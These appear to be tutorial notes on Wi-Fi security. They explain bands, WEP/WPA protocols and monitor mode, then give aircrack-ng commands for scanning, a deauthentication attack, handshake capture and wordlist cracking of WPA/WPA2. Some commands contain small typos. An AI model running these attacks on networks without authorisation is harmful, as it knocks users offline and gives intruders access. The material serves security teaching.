Wi-fi hacking
Wi-Fi networks are wireless networks that use radio waves to connect devices to
the internet or each other without physical cables.
Wi-Fi hacking refers to the practice of exploiting vulnerabilities in a wireless
network (Wi-Fi) to gain unauthorized access.
Ethical Wi-Fi hacking is often performed by cybersecurity professionals to identify
and fix vulnerabilities in wireless networks.
Wi-Fi Bands: 2.4 GHz and 5 GHz
2.4 GHz: Longer range, slower speed, more interference.
5 GHz: Shorter range, faster speed, less interference.
Example: Your home router might support both bands, and you can choose
which one to connect to, based on your distance from the router.
Wi-Fi Security Protocols
WEP (Wired Equivalent Privacy): An outdated and easily crackable
protocol.
WPA (Wi-Fi Protected Access): More secure than WEP, but still vulnerable.
WPA2 (Wi-Fi Protected Access II): The most common and secure, but not
invulnerable.
WPA3: The latest and most secure protocol.
Example: When setting up your router, you may choose WPA2 for the best
balance of security and compatibility.
Wireless Modes: Managed & Monitor
1. Managed Mode
This is the default mode for most wireless adapters where the adapter
connects to an access point (AP) and communicates with the network
like a typical client.
Use Case: Used for everyday Wi-Fi activities such as browsing the internet,
downloading files, or streaming.
The command for checking mode:
- iwconfig
Switching to Managed Mode:
- sudo ifconfig wlan0 down
- sudo iwconfig wlan0 mode managed
- sudo ifconfig wlan0 up
2. Monitor mode
Monitor mode is where the wireless adapter captures all wireless traffic in the
vicinity (neighborhood), regardless of the destination.
Use Case: Essential for packet sniffing, network analysis, and penetration testing
tasks.
Enable Monitor Mode:
sudo airmon-ng start wlan0
Disable Monitor Mode:
sudo airmon-ng stop wlan0mon
Check Current Mode:
iwconfig wlan0mon
Necessary Tools
Aircrack-ng: A suite of tools for Wi-Fi network auditing.
Airodump-ng is a crucial tool in the Aircrack-ng suite, primarily used for
monitoring and capturing packets (capturing the handshake process) in
Wi-Fi networks.
Airplay-ng is a tool included in the Aircrack-ng suite, which is primarily
used for:
o Packet Injection: aireplay-ng is primarily used for injecting packets
into wireless networks.
o Deauthentication Attacks: airplay-ng can send de-authentication
frames to disconnect users from a network, forcing them to
reconnect. This is often used to capture the handshake used in
WPA/WPA2 security protocols.
o Fake Authentication: It can perform fake authentication to
associate with a target access point, allowing for the subsequent
injection of packets.
Wireshark: A network protocol analyzer.
Reaver: A tool for brute-force attacking WPS.
3. Performing WIFI hacking
a. Scanning for Wi-Fi Networks
The first step is to identify the networks around you and gather information
such as BSSID, SSID, channel, and encryption type.
BSSID (Basic Service Set Identifier): The MAC address of a wireless
access point.
SSID (Service Set Identifier): The name of the Wi-Fi network.
Step1: Check the process that my interfere with your activity
sudo airmon-ng check
Step 2: Kill all processes that may interfere with your activity
sudo airmon-ng check kill
Step3: Enable Monitor Mode:
sudo airmon-ng start wlan0
Step 4: Scan all surrounding WIFI
sudo airodump-ng wlan0mon: Scans and displays nearby Wi-Fi
networks.
Example: You run airodump-ng wlan0mon and see a list of Wi-Fi networks and
their BSSID, SSID, and encryption types.
b. Targeting a Specific Network: (Capturing handshake)
Captures packets from a specific network
airodump-ng -- bssid [BSSID] -c [channel] -w capture wlan0mon
Example: sudo airodump-ng -- bssid 00:19:BE:A3:61:F2 -c 13 -w capture wlan0
Note: If the client is inactive, we must perform a de-authentication attack.
c. De-authentication Attack
This attack forces devices off the network, causing them to reconnect.
This can be used to capture handshakes or disrupt the network.
aireplay-ng -- deauth 0 -a [BSSID] wlan0mon
aireplay-ng -- deauth 0 -a 00:19:BE:A3:61:F2 wlan0mon
d. Gaining Access — Cracking WPA/WPA2
WPA and WPA2 are more secure than WEP, but they can still be
cracked by capturing handshakes and using brute-force attacks with a
wordlist.
aircrack-ng -w [Link] -b [BSSID] capture*.cap
or
aircrack-ng capture*.cap -w /path/[Link]
Note:
- This will be performed on the WIFI that has at least one device connected
to it.
- The password complexity matters a lot (The stronger the password the
harder to be cracked)
- The performance of your computer impacts the cracking password step
(A faster CPU will result in a shorter time to crack the password).
[Link]